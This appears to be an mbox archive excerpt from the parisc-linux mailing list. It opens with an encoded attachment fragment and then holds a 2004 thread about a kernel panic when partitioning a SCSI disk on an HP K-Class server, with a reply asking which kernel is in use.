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
nQSDIIqydwsgfLJxCyBGslsLML/kv9O+TTxTgWZutKBxmg2EUmbJjois48bT+XgcjqZ1tJ0/
sdjqX2MUyXWmLE6acGlHkqwtTVSMO2Nj3MkmplwvmhxpMKYsXJnUfiRl0/xNbsQ08MlwfSz7
fz49BPhyFfXx9qQMSPiIZRqfZ8XE3TF6BMh1doIETVQqNQGEvUIJFEfBeRRsFn547B1OZY/x
xFE54uglgybqlwj1svdOgrfzuO0VD956k8kDfS4OFv14//p9CPtKxSwqAtjS1+j+RTV9MoAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA


------=_NextPart_000_0004_0000205A.00002D66--




From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jens_Konrad/Linotype/DE@linotype.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with SCSI in K-Class
Date: Thu, 15 Apr 2004 21:04:59 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <OF18825705.F1E7C8A9-ONC1256E77.0068D1BD-C1256E77.0068D3C8@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623378 8357 80.91.229.3 (22 Nov 2014 02:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Jens_Konrad/Linotype/DE@linotype.com  Thu Apr 15 13:06:14 2004
Return-Path: <Jens_Konrad/Linotype/DE@linotype.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.linotype.com (www.typomedia.com [213.61.7.196])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8002B4830
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 13:06:14 -0600 (MDT)
Original-Received: by mail.linotype.com (Linotype Mail System, from userid 501)
	id C0396B4180; Thu, 15 Apr 2004 21:06:13 +0200 (CEST)
Original-Received: from www.fonts.de (ldap.linotype.com [193.103.125.42])
	by mail.linotype.com (Linotype Mail System) with ESMTP id 4ECDAB417B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 21:06:13 +0200 (CEST)
Original-Received: from domino001.fonts.de (webmail.linotype.com [193.103.125.36])
	by www.fonts.de (Linotype Mail System) with ESMTP id 4F4CB4C0AC
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 21:06:04 +0200 (CEST)
X-MIMETrack: Serialize by Router on domino001/Linotype/DE(Release 5.0.12
	|February 13, 2003) at 04/15/2004 09:05:02 PM
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 19:06:14 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21431


Hi guys,

I got my K-Class 200 working in single kernel mode, it is booting from high voltage scsi - on the normal scsi I got a CD-Rom and a Streamer.

Now I took away the streamer and replaced it with a 50GB SCSI and booted the machine. During boot he can see the HD without any problems (it is a Seagate), and I can also address it via fdisk (it is
sde).

But when I try to partition it, it comes as far as writing superblocks - and then I get a stack dump and the kernel panics, the machine freezes - and that was it.

My guess is that the low voltage scsi-controller cannot handle the size of the HD - could that be?? Anyone have an idea how I could get the disk to work?? I would really love to use it, since I wanted
to use the K-Class 200 as a file server.

Yours,

Jay






From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with SCSI in K-Class
Date: Thu, 15 Apr 2004 13:32:30 -0600
Lines: 33
Approved: news@gmane.org
Message-ID: <1082057550.976.98.camel@laptop.bradetich.net>
References: <OF18825705.F1E7C8A9-ONC1256E77.0068D1BD-C1256E77.0068D3C8@fonts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623378 8366 80.91.229.3 (22 Nov 2014 02:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jens_Konrad/Linotype/DE@linotype.com
Original-X-From: rbradetich@uswest.net  Thu Apr 15 13:32:38 2004
Return-Path: <rbradetich@uswest.net>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 610B34830
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 13:32:38 -0600 (MDT)
Original-Received: from [10.0.0.50] (unknown [10.0.0.50])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id 62DC82B10E; Thu, 15 Apr 2004 13:32:37 -0600 (MDT)
In-Reply-To: <OF18825705.F1E7C8A9-ONC1256E77.0068D1BD-C1256E77.0068D3C8@fonts.de>
X-Mailer: Ximian Evolution 1.4.6 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 15 Apr 2004 19:32:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21432

Which kernel?  I will see if I can duplicate on K460.

Thanks,

- Ryan

On Thu, 2004-04-15 at 13:04, Jens_Konrad/Linotype/DE@linotype.com wrote:
> Hi guys,
> 
> I got my K-Class 200 working in single kernel mode, it is booting from high voltage scsi - on the normal scsi I got a CD-Rom and a Streamer.
> 
> Now I took away the streamer and replaced it with a 50GB SCSI and booted the machine. During boot he can see the HD without any problems (it is a Seagate), and I can also address it via fdisk (it is
> sde).
> 
> But when I try to partition it, it comes as far as writing superblocks - and then I get a stack dump and the kernel panics, the machine freezes - and that was it.
> 
> My guess is that the low voltage scsi-controller cannot handle the size of the HD - could that be?? Anyone have an idea how I could get the disk to work?? I would really love to use it, since I wanted
> to use the K-Class 200 as a file server.
> 
> Yours,
> 
> Jay
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:31:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B1000/C3000
Date: Thu, 15 Apr 2004 20:42:56 +0100 (IST)
Lines: 22
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0404152036190.30237@sal.ucc.ie>
References: <200404142051.i3EKpfQX018442@hiauly1.hia.nrc.ca>
	<Pine.LNX.4.58.0404142155100.8626@sal.ucc.ie>
	<20040414232833.GQ31873@tausq.org>
	<Pine.LNX.4.58.0404150125020.28713@sal.ucc.ie>
	<20040415154811.GA3514@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623378 8367 80.91.229.3 (22 Nov 2014 02:29:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: xam@cs.ucc.ie  Thu Apr 15 13:43:08 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id DFDFC4830
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 15 Apr 2004 13:43:07 -0600 (MDT)
Original-Received: from sal.ucc.ie (tqpc.ucc.ie [143.239.201.88])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i3FJh70o028440;
	Thu, 15 Apr 2004 20:43:07 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20040415154811.GA3514@colo.lackof.org>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
